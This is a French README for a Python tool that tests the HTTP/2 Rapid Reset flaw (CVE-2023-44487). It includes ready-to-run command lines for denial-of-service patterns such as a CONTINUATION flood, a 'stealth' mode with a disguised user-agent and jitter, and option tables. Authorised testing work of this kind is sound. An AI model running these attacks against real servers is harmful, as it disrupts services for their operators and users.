Outil de Test HTTP/2 Rapid Reset CVE-2023-44487 - Édition Améliorée

Un outil de test Python complet pour CVE-2023-44487, la vulnérabilité HTTP/2 Rapid Reset. Cette version améliorée offre un contrôle granulaire des paramètres de test, plusieurs schémas d'attaque et des capacités de surveillance avancées.

⚠️ AVERTISSEMENT IMPORTANT

Cet outil est destiné UNIQUEMENT à des fins éducatives et de test autorisé !

• Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite
• Toute utilisation non autorisée peut être illégale et provoquer des interruptions de service
• L'outil exécute une attaque par déni de service qui peut affecter la disponibilité du serveur
• Assurez-vous toujours d'avoir une autorisation appropriée avant de tester

🔍 À propos de CVE-2023-44487

CVE-2023-44487, également connue sous le nom de « HTTP/2 Rapid Reset », est une vulnérabilité critique du protocole HTTP/2 qui permet aux attaquants de :

• Provoquer un déni de service en envoyant et en annulant rapidement des flux HTTP/2
• Consommer des ressources serveur excessives avec un minimum de ressources client
• Contourner de nombreux mécanismes traditionnels de limitation de débit
• Affecter les principaux serveurs web et équilibreurs de charge

Score CVSS : 7,5 (Élevé)

Impact : Déni de service, épuisement des ressources

🚀 Fonctionnalités améliorées

Schémas d'attaque multiples

• ⚡ Rapid Reset : HEADERS standard + RST_STREAM immédiat
• 💥 Burst Reset : Requêtes par rafales avec délais configurables
• 📈 Gradual Reset : Augmentation progressive du taux d'attaque
• 🎲 Random Reset : Synchronisation aléatoire pour contourner le filtrage prédictif
• 🌊 Continuation Flood : Attaque par inondation de trames CONTINUATION
• 🔀 Schéma mixte : Combinaison de plusieurs schémas

Configuration granulaire

• 📡 Contrôles de connexion : Délais d'expiration, délais, limites de concurrence
• ⏱️ Contrôles temporels : Synchronisation précise avec prise en charge de la gigue
• 🌐 Protocole HTTP/2 : Tailles de fenêtre, tailles de trame, paramètres HPACK
• 📋 Personnalisation des en-têtes : En-têtes personnalisés, génération aléatoire
• 🔬 Options avancées : Randomisation des ID de flux, trames de priorité
• 📊 Surveillance : Suivi de la latence, analyse du trafic, surveillance des erreurs

Formats de sortie

• 🖥️ Console : Lisible par l'humain avec mises à jour de progression
• 📋 JSON : Données structurées lisibles par machine
• 📊 CSV : Compatible tableur pour l'analyse
• 🗃️ XML : Intégration aux outils d'entreprise

Fonctionnalités de sécurité

• 🛡️ Contrôles d'autorisation : Invites de confirmation obligatoires
• 🔒 Limitation de débit : Limites intégrées de connexions et de requêtes
• 🎛️ Gestion des erreurs : Gestion élégante des défaillances
• 📝 Piste d'audit : Capacités complètes de journalisation

📋 Prérequis

• Python 3.7 ou supérieur
• Aucune dépendance externe (utilise uniquement la bibliothèque standard Python)

📖 Installation

1. Clonez ou téléchargez le script :

git clone https://github.com/madhusudhan-in/CVE_2023_44487-Rapid_Reset.git
cd CVE_2023_44487-Rapid_Reset

2. Rendez le script exécutable :

chmod +x rapid_reset_test.py

3. Vérifiez la version de Python :

python3 --version  # Doit être 3.7+

🔧 Utilisation

Utilisation de base

python3 rapid_reset_test.py https://serveur-cible.com

Exemples d'utilisation avancée

1. Test de charge à haut débit

python3 rapid_reset_test.py https://cible.com \
    --connections 50 \
    --requests 1000 \
    --delay 0 \
    --pattern rapid_reset \
    --track-latency \
    --output json

2. Test furtif avec en-têtes personnalisés

python3 rapid_reset_test.py https://cible.com \
    --pattern burst_reset \
    --burst-size 5 \
    --burst-delay 2.0 \
    --custom-headers "User-Agent: Mozilla/5.0 (legitbot)" "Authorization: Bearer token123" \
    --jitter 0.3

3. Test spécifique au protocole

python3 rapid_reset_test.py https://cible.com \
    --window-size 32768 \
    --frame-size 32768 \
    --header-table-size 8192 \
    --enable-push \
    --priority-frames \
    --randomize-streams

4. Test de surveillance complet

python3 rapid_reset_test.py https://cible.com \
    --connections 10 \
    --requests 200 \
    --pattern mixed_pattern \
    --track-latency \
    --track-responses \
    --monitor-memory \
    --verbose \
    --debug \
    --log-file attack.log

5. Attaque par inondation CONTINUATION

python3 rapid_reset_test.py https://cible.com \
    --pattern continuation_flood \
    --requests 50 \
    --random-headers \
    --header-count 20

Options complètes de ligne de commande

Paramètres de connexion

Option	Description	Défaut
-c, --connections N	Nombre de connexions simultanées	1
--connection-timeout SEC	Délai d'expiration de connexion en secondes	10
--read-timeout SEC	Délai d'expiration de lecture des réponses	5
--connection-delay SEC	Délai entre les connexions	0.0

Paramètres de requête

Option	Description	Défaut
-r, --requests N	Requêtes par connexion	100
--delay SEC	Délai entre HEADERS et RST_STREAM	0.001
--request-delay SEC	Délai entre les requêtes	0.0
--jitter FACTOR	Facteur de randomisation temporelle	0.0

Schémas d'attaque

Option	Description	Défaut
--pattern TYPE	Schéma d'attaque à utiliser	rapid_reset
--burst-size N	Requêtes par rafale	10
--burst-delay SEC	Délai entre les rafales	0.1

Schémas disponibles :

• rapid_reset - Attaque standard par réinitialisation rapide
• burst_reset - Attaques par rafales
• gradual_reset - Taux croissant progressivement
• random_reset - Synchronisation aléatoire
• continuation_flood - Inondation de trames CONTINUATION
• mixed_pattern - Mélange de schémas

Paramètres du protocole HTTP/2

Option	Description	Défaut
--window-size BYTES	Taille initiale de fenêtre HTTP/2	65535
--frame-size BYTES	Taille maximale de trame	16384
--header-table-size BYTES	Taille de table d'en-têtes HPACK	4096
--enable-push	Activer le push serveur HTTP/2	False
--rst-error-code CODE	Code d'erreur RST_STREAM	8

Personnalisation des en-têtes

Option	Description	Défaut
--custom-headers HEADER	En-têtes personnalisés (Nom : Valeur)	None
--random-headers	Générer des en-têtes aléatoires	False
--header-count N	Nombre d'en-têtes aléatoires	5

Options avancées

Option	Description	Défaut
--randomize-streams	Utiliser des ID de flux aléatoires	False
--priority-frames	Inclure les informations de priorité	False
--continue-on-error	Continuer après les erreurs	True
--max-errors N	Nombre maximal d'erreurs avant arrêt	10

Options de surveillance

Option	Description	Défaut
--track-latency	Suivre la latence des requêtes	False
--track-responses	Suivre les réponses du serveur	False
--monitor-memory	Surveiller l'utilisation de la mémoire	False